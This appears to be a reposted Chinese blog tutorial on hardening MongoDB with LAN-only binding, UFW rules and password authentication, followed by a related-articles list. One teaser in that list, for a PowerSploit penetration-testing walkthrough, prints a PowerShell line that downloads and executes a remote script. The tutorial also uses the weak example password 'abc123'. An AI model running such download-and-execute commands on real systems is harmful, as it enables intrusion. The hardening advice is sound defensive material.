如何保证MongoDB的安全性?

上周写了个简短的新闻《MongoDB裸奔,2亿国人求职简历泄漏!》:

根据安全站点HackenProof的报告,由于MongoDB数据库没有采取任何安全保护措施,导致共计202,730,434份国人求职简历泄漏。

然后很多人评论说MongoDB躺枪了。

MongoDB确实躺枪了,因为这事的责任当然不在数据库,而在于使用数据库的人没有做必要的安全配置。

那么我们应该如何保证MongoDB的安全性?下面我将介绍保护MongoDB的3个简单的方法:

  • 绑定局域网IP,杜绝互联网访问
  • 配置防火墙,保护27017端口
  • 配置账号密码,对数据库进行访问控制

本教程所使用的系统配置如下:

  • Ubuntu 16.04
  • mongodb 4.0.5

Ubuntu 16.04安装MongoDB

参考MongoDB文档:Install MongoDB Community Edition on Ubuntu

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4
echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/4.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org=4.0.5 mongodb-org-server=4.0.5 mongodb-org-shell=4.0.5 mongodb-org-mongos=4.0.5 mongodb-org-tools=4.0.5
sudo service mongod start

1. 绑定局域网IP,杜绝互联网访问

话说MongoDB被黑了这么多年,自身确实有一定的责任。版本3.6之前,MongoDB默认绑定的居然是0.0.0.0,这就意味着我们可以通过互联网访问MongoDB,那黑客当然也可以。这样的默认配置是一个很大的安全漏洞,很多MongoDB初学者都栽在这一点。关于这个问题,MongoDB的文档说得很委婉:

Default Bind to Localhost

Starting with MongoDB 3.6, MongoDB binaries, mongod and mongos, bind to localhost by default. From MongoDB versions 2.6 to 3.4, only the binaries from the official MongoDB RPM (Red Hat, CentOS, Fedora Linux, and derivatives) and DEB (Debian, Ubuntu, and derivatives) packages would bind to localhost by default.

也就是说,从3.6开始,MongoDB默认绑定localhost,这就意味着我们只能在本机访问MongoDB。至于2.6到3.4,只有从MongoDB RPM与DEB下载的安装包才默认绑定localhost,换句话说,其他方式下载的安装包则默认绑定0.0.0.0。因此,如果你使用的MongoDB是3.6之前的版本,就要特别注意这一点了。

在开发环境下,MongoDB绑定localhost没毛病。但是,在生产环境下,我们通常会有多个节点,这时需要修改MongoDB绑定的IP,通过配置net.bindIp可以实现。

如果为了省事,直接把net.bindIp配置为0.0.0.0,那就不太妙了。正确的做法应该是绑定局域网IP,这样只有局域网内的节点可以访问MongoDB。除非黑客端掉了你的服务器,否则他是没法访问你的MongoDB的。

哪些IP是局域网的呢?按照标准,有下面这些网段:

  • 10.0.0.0 – 10.255.255.255
  • 172.16.0.0 – 172.31.255.255
  • 192.168.0.0 – 192.168.255.255

最常用的局域网网段就是192.168.0.0到192.168.255.255了。

修改MongoDB的配置文件

vim /etc/mongod.conf

将net.bindIp设为局域网IP地址192.168.59.99

net:port: 27017bindIp: 192.168.59.99

重启MongoDB

sudo service mongod restart

2. 配置防火墙,保护27017端口

MongoDB默认使用的是27017端口,我们应该配置本地防火墙把这个端口保护起来,禁止外部IP访问。

在MongoDB绑定0.0.0.0,且没有配置防火墙的情况下,使用nmap命令远程扫描27017端口,结果如下:

nmap -p 27017 113.207.35.149Starting Nmap 6.49BETA3 ( https://nmap.org ) at 2019-01-19 14:17 CST
Nmap scan report for 113.207.35.149
Host is up (0.042s latency).
PORT      STATE SERVICE
27017/tcp open  mongodNmap done: 1 IP address (1 host up) scanned in 14.34 seconds

可知,27017端口是"open"的,这就意味着我们可以远程访问MongoDB数据库。

配置UFW防火墙

Ubuntu上默认的防火墙软件是UFW,配置起来非常简单。默认情况下,ufw并没有激活:

sudo ufw status
Status: inactive

执行以下命令,即可配置ufw规则,并启动防火墙:

sudo ufw default deny incoming // 默认禁止访问本机所有端口
sudo ufw default allow outgoing // 允许本机访问外部网络
sudo ufw allow 22/tcp // 允许SSH登陆
sudo ufw allow from 192.168.59.100 to any port 27017 // 仅允许局域网内IP为192.168.59.100的服务器访问mongodb
sudo ufw enable

我所配置的规则也非常容易理解,根据命令就能看出来。这时,再查看ufw的状态,可以发现防火墙已经激活了:

sudo ufw status
Status: activeTo                         Action      From
--                         ------      ----
22/tcp                     ALLOW       Anywhere
80/tcp                     ALLOW       Anywhere
443/tcp                    ALLOW       Anywhere
27017                      ALLOW       192.168.59.100
22/tcp (v6)                ALLOW       Anywhere (v6)

这时,再使用nmap命令远程扫描27017端口,结果如下:

nmap -p 27017 113.207.35.149Starting Nmap 6.49BETA3 ( https://nmap.org ) at 2019-01-19 14:40 CST
Nmap scan report for 113.207.35.149
Host is up (0.053s latency).
PORT      STATE    SERVICE
27017/tcp filtered mongodNmap done: 1 IP address (1 host up) scanned in 13.68 seconds

可知,27017端口的状态为"filtered",已经被防火墙保护起来了,更加安全。

Linux上常用的防火墙工具还有iptables,这里就不再赘述了。

另外,云服务器都支持配置防火墙,也有必要配置一下,它们与本机的防火墙是独立的,可以共同来保证数据库的安全。

3. 配置账号密码,对数据库进行访问控制

默认情况下,MongoDB并没有配置账号和密码,黑客只要登陆你的服务器之后可以直接查看数据库。给MongoDB配置账号密码,可以有效解决这个问题。

连接mongodb

mongo

配置账号密码

账号为"myUserAdmin",密码为"abc123"。

use admin
db.createUser({user: "myUserAdmin",pwd: "abc123",roles: [ { role: "userAdminAnyDatabase", db: "admin" }, "readWriteAnyDatabase" ]}
)

修改MongoDB的配置文件

vim /etc/mongod.conf

将security.authorization设为"enabled":

security:authorization: enabled

重启MongoDB

sudo service mongod restart

连接mongodb

再次连接mongodb时,则需要指定账号与密码。

mongo -u "myUserAdmin" -p "abc123" --authenticationDatabase "admin"

如果不提供账号密码,则无法查看数据库,会出现如下这种错误:

show dbs
2019-01-20T22:13:53.477+0800 E QUERY    [js] Error: listDatabases failed:{"ok" : 0,"errmsg" : "command listDatabases requires authentication","code" : 13,"codeName" : "Unauthorized"
}

另外,MongoDB还支持配置多个权限不同的账号,针对性地对特定数据库的读写权限进行配置。这样更加细致的访问控制可以增强安全性,举个不太恰当的例子,对于团队中的实习生,应该只给他们读权限,这样可以有效防止出现误操作导致删库等极端情况。

总结

可以发现,本文介绍的方法都非常简单,属于常识,但是都是必要的。作为数据库管理者,如果这些都没有配置,那显然是非常不专业的,责怪MongoDB也没有用,因为换个数据库也会有同样的问题。

根据MongoDB文档提供的Security Checklist,我们还可以使用TLS/SSL来加密MongoDB连接,这样做会在一定程度上牺牲性能,大家可以根据需要来配置。

另外,保证数据库的访问安全非常重要,同时也需要保证数据的安全性,做好必要的数据备份。关于如何保护数据的安全性,可以参考我们的博客《Fundebug是这样备份数据的》。

参考

  • MongoDB裸奔,2亿国人求职简历泄漏!
  • Fundebug是这样备份数据的

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了9亿+错误事件,付费客户有Google、360、金山软件、百姓网等众多品牌企业。欢迎大家免费试用!

版权声明

转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2019/01/21/how-to-protect-mongodb/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449606.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker:集装箱式“运输”在软件上的实现

Docker是由PaaS提供商dotCloud在2013年年初创建的一款开源应用引擎,Docker可以自动将任何应用打包成轻量、可移植、自包涵的容器引擎。开发者构建的应用可以一次构建全平台运行,包括本地开发机器,生产环境,虚拟机和云等。 Docker基…

如何使用Dockerfile构建镜像

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 Dockfile是一种被Docker程序解释的脚本,Dockerfile由一条一条的指令组成,每条指令对应Linux下面的一条命令。Doc…

小程序 公众号/h5相互跳转-webview

小程序与h5的跳转 前提小程序管理后台配置域名白名单,并且h5页面是嵌在小程序里面(相互跳的前提条件) 在业务域名中设置好访问的h5地址 微信官方web-view 介绍地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

并行计算的专访

摘要:社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱,为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流,低功耗、高性能也将成为一…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1)通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写,这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前,您需要先对CentOS操作系统做一些初始化的工作&#x…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划,之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图: 因为这个kong-dashboard要用到docker&#x…

leetcood学习笔记-204-计算质数

题目描述: 第一次提交;(超时): class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 别人家的: 这题搜到一个非常牛逼的算法,叫做厄…

centos-install-kong-cassandra

转自:http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置阅读 对于一些传统的大型项目,传统的方式会有一些缺陷,比如说新人熟悉系统成本高(因为整个系统作为一个整体,彼此会有一定的牵连&#xff0…

翁同龢后人向上海博物馆捐赠两件重要家藏

1月24日,翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 1月24日,翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 中新网上海1月24日电 (王笈)翁同龢后人翁以钧24日携夫人柳至善,代表翁万戈将两件翁氏家族的重要…

AutoHotkey调用VBA实现批量精确筛选数据透视表某字段内容。

如上图,想在数据透视表中只显示红色区域的内容,手动勾选就比较繁琐。 实现思路: 先复制红色的内容。鼠标停留在数据透视表【型号】列的任意数据上(通过该单元格可以获取数据透视表和字段)由于数据透视表的字段不能全部…

SQL中的case when then else end用法

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 Case具有两种格式。简单Case函数和Case搜索函数。 --简单Case函数 CASE sexWHEN 1 THEN 男WHEN 2 THEN 女 ELSE 其他 END --Case搜索函数…

HEVC/H265 性能分析

HEVC/H265 标准中的目标是:H264的码率一般,质量一样,是否达到,数据说话。 下面是视频编解码大师测试数据: HEVC: is it really twice as good as H.264? The new standard for video compression, High Efficiency V…

“90后”台湾籍乘务长的第一个大陆春运

中新网上海1月25日电 题:“90后”台湾籍乘务长的第一个大陆春运 中新网记者 李佳佳 黄佳莹,“90后”的台北妹子。年纪虽小,资历却不浅,2018年她晋升为春秋航空客舱部乘务长,成为大陆首批台湾籍乘务长之一。“90后”台湾…

hbase单机搭建

一、下载 https://hbase.apache.org/downloads.html  2.1.3版本 解压,拷贝到文件夹 /hbase/hbase-2.1.3 设置HBASE_HOME环境变量,把它加到path环境变量中去 source /etc/profile 二、配置 1.在/data下创建目录 mkdir /data/hbase mkdir /d…

mysql查询报错: ORDER BY clause is not in GROUP BY..this is incompatible with sql_mode=only_full_group_by

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 我的情况 : Mysql 5.7.21 版本运行sql 报错如题,同样的 sql 直接本地运行不报错。 但是当连接的是服务器上的 …

并发编程(十六)——java7 深入并发包 ConcurrentHashMap 源码解析

以前写过介绍HashMap的文章,文中提到过HashMap在put的时候,插入的元素超过了容量(由负载因子决定)的范围就会触发扩容操作,就是rehash,这个会重新将原数组的内容重新hash到新的扩容数组中,在多线…